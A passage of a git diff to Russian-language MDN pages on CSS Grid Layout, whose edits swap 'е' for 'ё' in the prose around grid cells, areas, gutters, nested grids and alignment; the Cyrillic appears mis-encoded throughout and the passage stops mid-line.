+<p>Π“Ρ€ΠΈΠ΄-ячСйка (<em>grid cell)</em>Β - наимСньшая Π΅Π΄ΠΈΠ½ΠΈΡ†Π° измСрСния Π³Ρ€ΠΈΠ΄Π°, ΠΊΠΎΠ½Ρ†Π΅ΠΏΡ‚ΡƒΠ°Π»ΡŒΠ½ΠΎ похоТая Π½Π° ячСйку Ρ‚Π°Π±Π»ΠΈΡ†Ρ‹. Как ΠΌΡ‹ Π²ΠΈΠ΄Π΅Π»ΠΈ Π² ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰ΠΈΡ… ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π°Ρ…, Π΅Π΄Π²Π° Π³Ρ€ΠΈΠ΄ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½ для Ρ€ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΡΠΊΠΎΠ³ΠΎ элСмСнта, Π΄ΠΎΡ‡Π΅Ρ€Π½ΠΈΠ΅ элСмСнты автоматичСски Ρ€Π°Π·ΠΌΠ΅Ρ‰Π°ΡŽΡ‚ΡΡ Π² ΠΊΠ°ΠΆΠ΄ΠΎΠΉ ΡΡ‡Π΅ΠΉΠΊΠ΅Β Π½Π°ΡˆΠ΅Π³ΠΎ Π·Π°Π΄Π°Π½Π½ΠΎΠ³ΠΎ Π³Ρ€ΠΈΠ΄Π°. На рисункС Π½ΠΈΠΆΠ΅ пСрвая ячСйка Π³Ρ€ΠΈΠ΄Π° Π²Ρ‹Π΄Π΅Π»Π΅Π½Π° Ρ†Π²Π΅Ρ‚ΠΎΠΌ.</p>
<p><img alt="The first cell of the grid highlighted" src="https://mdn.mozillademos.org/files/14643/1_Grid_Cell.png" style="height: 233px; width: 350px;"></p>
<h2 id="Grid-области">Grid-области</h2>
-<p>Π­Π»Π΅ΠΌΠ΅Π½Ρ‚Ρ‹ ΠΌΠΎΠ³ΡƒΡ‚ Π·Π°Π½ΠΈΠΌΠ°Ρ‚ΡŒ ΠΎΠ΄Π½Ρƒ ΠΈΠ»ΠΈ нСсколько ячССк Π²Π½ΡƒΡ‚Ρ€ΠΈ строки ΠΈΠ»ΠΈ ΠΊΠΎΠ»ΠΎΠ½ΠΊΠΈ, ΠΈ ΠΏΠΎΠ΄ΠΎΠ±Π½ΠΎΠ΅ ΠΏΠΎΠ²Π΅Π΄Π΅Π½ΠΈΠ΅ создаСт Π³Ρ€ΠΈΠ΄-ΠΎΠ±Π»Π°ΡΡ‚ΡŒ (<em>grid area)</em>. Π“Ρ€ΠΈΠ΄-области долТны Π±Ρ‹Ρ‚ΡŒ пСрпСндикулярными, - Π½Π΅Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ ΠΎΠ±Π»Π°ΡΡ‚ΡŒ, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Π² Ρ„ΠΎΡ€ΠΌΠ΅ Π±ΡƒΠΊΠ²Ρ‹ L. ВыдСлСнная Ρ†Π²Π΅Ρ‚ΠΎΠΌ Π³Ρ€ΠΈΠ΄-ΠΎΠ±Π»Π°ΡΡ‚ΡŒ Π½Π° рисункС Π½ΠΈΠΆΠ΅ Π·Π°Π½ΠΈΠΌΠ°Π΅Ρ‚ два строчных Ρ‚Ρ€Π΅ΠΊΠ°Β ΠΈ Π΄Π²Π°Β ΠΊΠΎΠ»ΠΎΠ½ΠΎΡ‡Π½Ρ‹Ρ….Β </p>
+<p>Π­Π»Π΅ΠΌΠ΅Π½Ρ‚Ρ‹ ΠΌΠΎΠ³ΡƒΡ‚ Π·Π°Π½ΠΈΠΌΠ°Ρ‚ΡŒ ΠΎΠ΄Π½Ρƒ ΠΈΠ»ΠΈ нСсколько ячССк Π²Π½ΡƒΡ‚Ρ€ΠΈ строки ΠΈΠ»ΠΈ ΠΊΠΎΠ»ΠΎΠ½ΠΊΠΈ, ΠΈ ΠΏΠΎΠ΄ΠΎΠ±Π½ΠΎΠ΅ ΠΏΠΎΠ²Π΅Π΄Π΅Π½ΠΈΠ΅ создаёт Π³Ρ€ΠΈΠ΄-ΠΎΠ±Π»Π°ΡΡ‚ΡŒ (<em>grid area)</em>. Π“Ρ€ΠΈΠ΄-области долТны Π±Ρ‹Ρ‚ΡŒ пСрпСндикулярными, - Π½Π΅Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ ΠΎΠ±Π»Π°ΡΡ‚ΡŒ, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Π² Ρ„ΠΎΡ€ΠΌΠ΅ Π±ΡƒΠΊΠ²Ρ‹ L. ВыдСлСнная Ρ†Π²Π΅Ρ‚ΠΎΠΌ Π³Ρ€ΠΈΠ΄-ΠΎΠ±Π»Π°ΡΡ‚ΡŒ Π½Π° рисункС Π½ΠΈΠΆΠ΅ Π·Π°Π½ΠΈΠΌΠ°Π΅Ρ‚ два строчных Ρ‚Ρ€Π΅ΠΊΠ°Β ΠΈ Π΄Π²Π°Β ΠΊΠΎΠ»ΠΎΠ½ΠΎΡ‡Π½Ρ‹Ρ….Β </p>
<p><img alt="A grid area" src="https://mdn.mozillademos.org/files/14645/1_Grid_Area.png" style="height: 238px; width: 357px;"></p>
<h2 id="Π—Π°Π·ΠΎΡ€Ρ‹_Gutters">Π—Π°Π·ΠΎΡ€Ρ‹ (Gutters)</h2>
-<p><em>Π—Π°Π·ΠΎΡ€Ρ‹ (Gutters)</em>Β ΠΈΠ»ΠΈ Π°Π»Π»Π΅ΠΈ (<em>alleys)</em>Β ΠΌΠ΅ΠΆΠ΄Ρƒ Π³Ρ€ΠΈΠ΄-ячСйками ΠΌΠΎΠΆΠ½ΠΎ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ свойств {{cssxref("grid-column-gap")}} ΠΈ {{cssxref("grid-row-gap")}}, ΠΈΠ»ΠΈ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ сокращСнного свойства {{cssxref("grid-gap")}}. Π’ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ Π½ΠΈΠΆΠ΅ ΠΌΡ‹ создаСм Π·Π°Π·ΠΎΡ€ Π² 10 пиксСлСй ΠΌΠ΅ΠΆΠ΄Ρƒ ΠΊΠΎΠ»ΠΎΠ½ΠΊΠ°ΠΌΠΈ ΠΈ Π² <code>1em</code>Β ΠΌΠ΅ΠΆΠ΄Ρƒ строками.</p>
+<p><em>Π—Π°Π·ΠΎΡ€Ρ‹ (Gutters)</em>Β ΠΈΠ»ΠΈ Π°Π»Π»Π΅ΠΈ (<em>alleys)</em>Β ΠΌΠ΅ΠΆΠ΄Ρƒ Π³Ρ€ΠΈΠ΄-ячСйками ΠΌΠΎΠΆΠ½ΠΎ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ свойств {{cssxref("grid-column-gap")}} ΠΈ {{cssxref("grid-row-gap")}}, ΠΈΠ»ΠΈ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ сокращённого свойства {{cssxref("grid-gap")}}. Π’ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ Π½ΠΈΠΆΠ΅ ΠΌΡ‹ создаём Π·Π°Π·ΠΎΡ€ Π² 10 пиксСлСй ΠΌΠ΅ΠΆΠ΄Ρƒ ΠΊΠΎΠ»ΠΎΠ½ΠΊΠ°ΠΌΠΈ ΠΈ Π² <code>1em</code>Β ΠΌΠ΅ΠΆΠ΄Ρƒ строками.</p>
<pre class="brush: css notranslate">.wrapper {
display: grid;
@@ -465,7 +465,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout
<h2 id="Π’Π»ΠΎΠΆΠ΅Π½Π½Ρ‹Π΅_Π³Ρ€ΠΈΠ΄Ρ‹">Π’Π»ΠΎΠΆΠ΅Π½Π½Ρ‹Π΅ Π³Ρ€ΠΈΠ΄Ρ‹</h2>
-<p>Π“Ρ€ΠΈΠ΄-элСмСнт ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΈ Π³Ρ€ΠΈΠ΄-ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€ΠΎΠΌ. Π’ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΌ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ Ρƒ нас Π΅ΡΡ‚ΡŒ созданный Ρ€Π°Π½Π΅Π΅ Ρ‚Ρ€Π΅Ρ…ΠΊΠΎΠ»ΠΎΠ½ΠΎΡ‡Π½Ρ‹ΠΉ Π³Ρ€ΠΈΠ΄, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ Ρ€Π°Π·ΠΌΠ΅Ρ‰Π΅Π½Ρ‹ Π΄Π²Π° элСмСнта. Π’ Π΄Π°Π½Π½ΠΎΠΌ случаС Ρƒ ΠΏΠ΅Ρ€Π²ΠΎΠ³ΠΎ элСмСнта Π΅ΡΡ‚ΡŒ нСсколько подэлСмСнтов. ΠŸΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ эти подэлСмСнты Π½Π΅ ΡΠ²Π»ΡΡŽΡ‚ΡΡ прямыми ΠΏΠΎΡ‚ΠΎΠΌΠΊΠ°ΠΌΠΈ Π³Ρ€ΠΈΠ΄Π°, ΠΎΠ½ΠΈ Π½Π΅ ΡƒΡ‡Π°ΡΡ‚Π²ΡƒΡŽΡ‚ Π² структурС Π³Ρ€ΠΈΠ΄Π° ΠΈ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°ΡŽΡ‚ΡΡ Π² соотвСтствии с Π½ΠΎΡ€ΠΌΠ°Π»ΡŒΠ½Ρ‹ΠΌ ΠΏΠΎΡ‚ΠΎΠΊΠΎΠΌ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°.</p>
+<p>Π“Ρ€ΠΈΠ΄-элСмСнт ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΈ Π³Ρ€ΠΈΠ΄-ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€ΠΎΠΌ. Π’ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΌ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ Ρƒ нас Π΅ΡΡ‚ΡŒ созданный Ρ€Π°Π½Π΅Π΅ Ρ‚Ρ€Ρ‘Ρ…ΠΊΠΎΠ»ΠΎΠ½ΠΎΡ‡Π½Ρ‹ΠΉ Π³Ρ€ΠΈΠ΄, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ Ρ€Π°Π·ΠΌΠ΅Ρ‰Π΅Π½Ρ‹ Π΄Π²Π° элСмСнта. Π’ Π΄Π°Π½Π½ΠΎΠΌ случаС Ρƒ ΠΏΠ΅Ρ€Π²ΠΎΠ³ΠΎ элСмСнта Π΅ΡΡ‚ΡŒ нСсколько подэлСмСнтов. ΠŸΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ эти подэлСмСнты Π½Π΅ ΡΠ²Π»ΡΡŽΡ‚ΡΡ прямыми ΠΏΠΎΡ‚ΠΎΠΌΠΊΠ°ΠΌΠΈ Π³Ρ€ΠΈΠ΄Π°, ΠΎΠ½ΠΈ Π½Π΅ ΡƒΡ‡Π°ΡΡ‚Π²ΡƒΡŽΡ‚ Π² структурС Π³Ρ€ΠΈΠ΄Π° ΠΈ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°ΡŽΡ‚ΡΡ Π² соотвСтствии с Π½ΠΎΡ€ΠΌΠ°Π»ΡŒΠ½Ρ‹ΠΌ ΠΏΠΎΡ‚ΠΎΠΊΠΎΠΌ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°.</p>
<div id="nesting">
<pre class="brush: html notranslate">&lt;div class="wrapper"&gt;
@@ -483,7 +483,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout
<p><img alt="Nested grid in flow" src="https://mdn.mozillademos.org/files/14641/1_Nested_Grids_in_flow.png" style="height: 512px; width: 900px;"></p>
-<p>Если ΠΌΡ‹ Π·Π°Π΄Π°Π΅ΠΌ для <code>box1</code>Β Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅Β <code>display: grid</code>Β , Ρ‚ΠΎ ΠΌΠΎΠΆΠ΅ΠΌ Π½Π°ΠΏΠΈΡΠ°Ρ‚ΡŒ для Π½Π΅Π³ΠΎ структуру Ρ‚Ρ€Π΅ΠΊΠΎΠ², ΠΈ ΠΎΠ½ Ρ‚ΠΎΠΆΠ΅ станСт Π³Ρ€ΠΈΠ΄ΠΎΠΌ, Π° Π΅Π³ΠΎ Π΄ΠΎΡ‡Π΅Ρ€Π½ΠΈΠ΅ элСмСнты Π±ΡƒΠ΄ΡƒΡ‚ Ρ€Π°Π·ΠΌΠ΅Ρ‰Π΅Π½Ρ‹ Π²Π½ΡƒΡ‚Ρ€ΠΈ этого Π½ΠΎΠ²ΠΎΠ³ΠΎ Π³Ρ€ΠΈΠ΄Π°.</p>
+<p>Если ΠΌΡ‹ Π·Π°Π΄Π°Ρ‘ΠΌ для <code>box1</code>Β Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅Β <code>display: grid</code>Β , Ρ‚ΠΎ ΠΌΠΎΠΆΠ΅ΠΌ Π½Π°ΠΏΠΈΡΠ°Ρ‚ΡŒ для Π½Π΅Π³ΠΎ структуру Ρ‚Ρ€Π΅ΠΊΠΎΠ², ΠΈ ΠΎΠ½ Ρ‚ΠΎΠΆΠ΅ станСт Π³Ρ€ΠΈΠ΄ΠΎΠΌ, Π° Π΅Π³ΠΎ Π΄ΠΎΡ‡Π΅Ρ€Π½ΠΈΠ΅ элСмСнты Π±ΡƒΠ΄ΡƒΡ‚ Ρ€Π°Π·ΠΌΠ΅Ρ‰Π΅Π½Ρ‹ Π²Π½ΡƒΡ‚Ρ€ΠΈ этого Π½ΠΎΠ²ΠΎΠ³ΠΎ Π³Ρ€ΠΈΠ΄Π°.</p>
<pre class="brush: css notranslate">.box1 {
grid-column-start: 1;
@@ -531,7 +531,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout
<p>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅. Π­Ρ‚Π° функция поставляСтся Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π΅ Firefox 71, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π² настоящСС врСмя являСтся СдинствСнным Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠΌ для Ρ€Π΅Π°Π»ΠΈΠ·Π°Ρ†ΠΈΠΈ subgrid.</p>
</div>
-<p>Π’ ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½ΠΎΠΌ Π²Ρ‹ΡˆΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ ΠΌΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ ΠΎΡ‚Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Π²Π»ΠΎΠΆΠ΅Π½Π½Ρ‹ΠΉ Π³Ρ€ΠΈΠ΄, ΠΈΠ·ΠΌΠ΅Π½ΠΈΠ²Β <code>grid-template-columns: repeat(3, 1fr)</code>,Β Π½Π°Β <code>grid-template-columns: subgrid</code>.Β Π’Π»ΠΎΠΆΠ΅Π½Π½Ρ‹ΠΉ Π³Ρ€ΠΈΠ΄ Π±ΡƒΠ΄Π΅Ρ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Ρ€ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΡΠΊΡƒΡŽ структуру Ρ‚Ρ€Π΅ΠΊΠΎΠ², Ρ‡Ρ‚ΠΎΠ±Ρ‹ Ρ€Π°Π·ΠΌΠ΅ΡΡ‚ΠΈΡ‚ΡŒ свои Π΄ΠΎΡ‡Π΅Ρ€Π½ΠΈΠ΅ элСмСнты.</p>
+<p>Π’ ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½ΠΎΠΌ Π²Ρ‹ΡˆΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ ΠΌΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ ΠΎΡ‚Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Π²Π»ΠΎΠΆΠ΅Π½Π½Ρ‹ΠΉ Π³Ρ€ΠΈΠ΄, ΠΈΠ·ΠΌΠ΅Π½ΠΈΠ²Β <code>grid-template-columns: repeat(3, 1fr)</code>,Β Π½Π°Β <code>grid-template-columns: subgrid</code>.Β Π’Π»ΠΎΠΆΠ΅Π½Π½Ρ‹ΠΉ Π³Ρ€ΠΈΠ΄ Π±ΡƒΠ΄Π΅Ρ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Ρ€ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΡΠΊΡƒΡŽ структуру Ρ‚Ρ€Π΅ΠΊΠΎΠ², Ρ‡Ρ‚ΠΎΠ±Ρ‹ Ρ€Π°Π·ΠΌΠ΅ΡΡ‚ΠΈΡ‚ΡŒ свои Π΄ΠΎΡ‡Π΅Ρ€Π½ΠΈΠ΅ элСмСнты.</p>
<pre class="brush: css notranslate">.box1 {
grid-column-start: 1;
@@ -545,7 +545,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout
<h2 id="Π Π°Π·ΠΌΠ΅Ρ‰Π΅Π½ΠΈΠ΅_элСмСнтов_с_ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ_z-index">Π Π°Π·ΠΌΠ΅Ρ‰Π΅Π½ΠΈΠ΅ элСмСнтов с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ <code>z-index</code></h2>
-<p>НСсколько Π³Ρ€ΠΈΠ΄-элСмСнтов ΠΌΠΎΠ³ΡƒΡ‚ Π·Π°Π½ΠΈΠΌΠ°Ρ‚ΡŒ ΠΎΠ΄Π½Ρƒ ΠΈ Ρ‚Ρƒ ΠΆΠ΅ ячСйку. Если Π²Π΅Ρ€Π½ΡƒΡ‚ΡŒΡΡ ΠΊ Π½Π°ΡˆΠ΅ΠΌΡƒ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρƒ с элСмСнтами, Ρ€Π°Π·ΠΌΠ΅Ρ‰Π΅Π½Π½Ρ‹ΠΌΠΈ ΠΏΠΎ Π½ΠΎΠΌΠ΅Ρ€Π°ΠΌ Π»ΠΈΠ½ΠΈΠΉ, ΠΌΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ Ρ‚Π°ΠΊ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π΄Π²Π° элСмСнта ΠΏΠ΅Ρ€Π΅ΠΊΡ€Ρ‹Π²Π°Π»ΠΈΡΡŒ:</p>
+<p>НСсколько Π³Ρ€ΠΈΠ΄-элСмСнтов ΠΌΠΎΠ³ΡƒΡ‚ Π·Π°Π½ΠΈΠΌΠ°Ρ‚ΡŒ ΠΎΠ΄Π½Ρƒ ΠΈ Ρ‚Ρƒ ΠΆΠ΅ ячСйку. Если Π²Π΅Ρ€Π½ΡƒΡ‚ΡŒΡΡ ΠΊ Π½Π°ΡˆΠ΅ΠΌΡƒ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρƒ с элСмСнтами, Ρ€Π°Π·ΠΌΠ΅Ρ‰Ρ‘Π½Π½Ρ‹ΠΌΠΈ ΠΏΠΎ Π½ΠΎΠΌΠ΅Ρ€Π°ΠΌ Π»ΠΈΠ½ΠΈΠΉ, ΠΌΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ Ρ‚Π°ΠΊ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π΄Π²Π° элСмСнта ΠΏΠ΅Ρ€Π΅ΠΊΡ€Ρ‹Π²Π°Π»ΠΈΡΡŒ:</p>
<div id="l_ex">
<pre class="brush: html notranslate">&lt;div class="wrapper"&gt;
diff --git a/files/ru/web/css/css_grid_layout/box_alignment_in_css_grid_layout/index.html b/files/ru/web/css/css_grid_layout/box_alignment_in_css_grid_layout/index.html
index 8ea1b8d352..80d1ad38af 100644
--- a/files/ru/web/css/css_grid_layout/box_alignment_in_css_grid_layout/index.html
+++ b/files/ru/web/css/css_grid_layout/box_alignment_in_css_grid_layout/index.html
@@ -5,9 +5,9 @@ translation_of: Web/CSS/CSS_Grid_Layout/Box_Alignment_in_CSS_Grid_Layout
---
<p>Если Π²Ρ‹ Π·Π½Π°ΠΊΠΎΠΌΡ‹ с <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout">flexbox</a>, Π²Ρ‹ ΡƒΠΆΠ΅ ΡΡ‚ΠΎΠ»ΠΊΠ½ΡƒΠ»ΠΈΡΡŒ с Ρ‚Π΅ΠΌ, ΠΊΠ°ΠΊ Π³ΠΈΠ±ΠΊΠΈΠ΅ элСмСнты ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎ Π²Ρ‹Ρ€ΠΎΠ²Π½Π΅Π½Ρ‹ Π²Π½ΡƒΡ‚Ρ€ΠΈ ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€Π° flex. Π­Ρ‚ΠΈ свойства выравнивания, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΡ‹ Π²ΠΏΠ΅Ρ€Π²Ρ‹Π΅ встрСтили Π² спСцификации flexbox, Π±Ρ‹Π»ΠΈ пСрСнСсСны Π² Π½ΠΎΠ²ΡƒΡŽ ΡΠΏΠ΅Ρ†ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΡŽ ΠΏΠΎΠ΄ Π½Π°Π·Π²Π°Π½ΠΈΠ΅ΠΌ <a href="https://drafts.csswg.org/css-align/">Box Alignment Level 3</a>. Π­Ρ‚Π° спСцификация содСрТит ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½ΡƒΡŽ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ ΠΎ Ρ‚ΠΎΠΌ, ΠΊΠ°ΠΊ Π²Ρ‹Ρ€Π°Π²Π½ΠΈΠ²Π°Π½ΠΈΠ΅ Π΄ΠΎΠ»ΠΆΠ½ΠΎ Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ Π²ΠΎ всСх Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Ρ… ΠΌΠ΅Ρ‚ΠΎΠ΄Π°Ρ… ΠΊΠΎΠΌΠΏΠΎΠ½ΠΎΠ²ΠΊΠΈ.</p>
-<p>ΠšΠ°ΠΆΠ΄Ρ‹ΠΉ ΠΌΠ΅Ρ‚ΠΎΠ΄ ΠΌΠ°ΠΊΠ΅Ρ‚Π°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Ρ€Π΅Π°Π»ΠΈΠ·ΡƒΠ΅Ρ‚ Π²Ρ‹Ρ€Π°Π²Π½ΠΈΠ²Π°Π½ΠΈΠ΅ ящиков, Π±ΡƒΠ΄Π΅Ρ‚ ΠΈΠΌΠ΅Ρ‚ΡŒ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ отличия ΠΈΠ·-Π·Π° Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎ ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ ΠΌΠ΅Ρ‚ΠΎΠ΄ ΠΈΠΌΠ΅Π΅Ρ‚ Ρ€Π°Π·Π½Ρ‹Π΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ ΠΈ ограничСния (ΠΈ унаслСдованноС ΠΏΠΎΠ²Π΅Π΄Π΅Π½ΠΈΠ΅), Ρ‡Ρ‚ΠΎ Π΄Π΅Π»Π°Π΅Ρ‚ Π½Π΅Π²ΠΎΠ·ΠΌΠΎΠΆΠ½Ρ‹ΠΌ Π²Ρ‹Ρ€Π°Π²Π½ΠΈΠ²Π°Π½ΠΈΠ΅ Ρ‚ΠΎΡ‡Π½ΠΎ Ρ‚Π°ΠΊΠΈΠΌ ΠΆΠ΅ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ ΠΏΠΎ всСм направлСниям. БпСцификация Box Alignment содСрТит ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½ΡƒΡŽ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ для ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ ΠΌΠ΅Ρ‚ΠΎΠ΄Π°, ΠΎΠ΄Π½Π°ΠΊΠΎ Π²Ρ‹ Π±Ρ‹Π»ΠΈ Π±Ρ‹ Ρ€Π°Π·ΠΎΡ‡Π°Ρ€ΠΎΠ²Π°Π½Ρ‹, Ссли Π±Ρ‹ ΠΏΠΎΠΏΡ‹Ρ‚Π°Π»ΠΈΡΡŒ Π²Ρ‹ΠΏΠΎΠ»Π½ΠΈΡ‚ΡŒ Π²Ρ‹Ρ€Π°Π²Π½ΠΈΠ²Π°Π½ΠΈΠ΅ ΠΏΠΎ ΠΌΠ½ΠΎΠ³ΠΈΠΌ ΠΌΠ΅Ρ‚ΠΎΠ΄Π°ΠΌ прямо сСйчас, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠ° Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π° Π΅Ρ‰Π΅ Π½Π΅ сущСствуСт. Π’Π°ΠΌ, Π³Π΄Π΅ Ρƒ нас Π΅ΡΡ‚ΡŒ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠ° Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π° для свойств выравнивания ΠΈ распрСдСлСния пространства ΠΈΠ· спСцификации Box Alignment, Π² grid ΠΌΠ°ΠΊΠ΅Ρ‚Π°.</p>
+<p>ΠšΠ°ΠΆΠ΄Ρ‹ΠΉ ΠΌΠ΅Ρ‚ΠΎΠ΄ ΠΌΠ°ΠΊΠ΅Ρ‚Π°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Ρ€Π΅Π°Π»ΠΈΠ·ΡƒΠ΅Ρ‚ Π²Ρ‹Ρ€Π°Π²Π½ΠΈΠ²Π°Π½ΠΈΠ΅ ящиков, Π±ΡƒΠ΄Π΅Ρ‚ ΠΈΠΌΠ΅Ρ‚ΡŒ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ отличия ΠΈΠ·-Π·Π° Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎ ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ ΠΌΠ΅Ρ‚ΠΎΠ΄ ΠΈΠΌΠ΅Π΅Ρ‚ Ρ€Π°Π·Π½Ρ‹Π΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ ΠΈ ограничСния (ΠΈ унаслСдованноС ΠΏΠΎΠ²Π΅Π΄Π΅Π½ΠΈΠ΅), Ρ‡Ρ‚ΠΎ Π΄Π΅Π»Π°Π΅Ρ‚ Π½Π΅Π²ΠΎΠ·ΠΌΠΎΠΆΠ½Ρ‹ΠΌ Π²Ρ‹Ρ€Π°Π²Π½ΠΈΠ²Π°Π½ΠΈΠ΅ Ρ‚ΠΎΡ‡Π½ΠΎ Ρ‚Π°ΠΊΠΈΠΌ ΠΆΠ΅ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ ΠΏΠΎ всСм направлСниям. БпСцификация Box Alignment содСрТит ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½ΡƒΡŽ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ для ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ ΠΌΠ΅Ρ‚ΠΎΠ΄Π°, ΠΎΠ΄Π½Π°ΠΊΠΎ Π²Ρ‹ Π±Ρ‹Π»ΠΈ Π±Ρ‹ Ρ€Π°Π·ΠΎΡ‡Π°Ρ€ΠΎΠ²Π°Π½Ρ‹, Ссли Π±Ρ‹ ΠΏΠΎΠΏΡ‹Ρ‚Π°Π»ΠΈΡΡŒ Π²Ρ‹ΠΏΠΎΠ»Π½ΠΈΡ‚ΡŒ Π²Ρ‹Ρ€Π°Π²Π½ΠΈΠ²Π°Π½ΠΈΠ΅ ΠΏΠΎ ΠΌΠ½ΠΎΠ³ΠΈΠΌ ΠΌΠ΅Ρ‚ΠΎΠ΄Π°ΠΌ прямо сСйчас, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠ° Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π° Π΅Ρ‰Ρ‘ Π½Π΅ сущСствуСт. 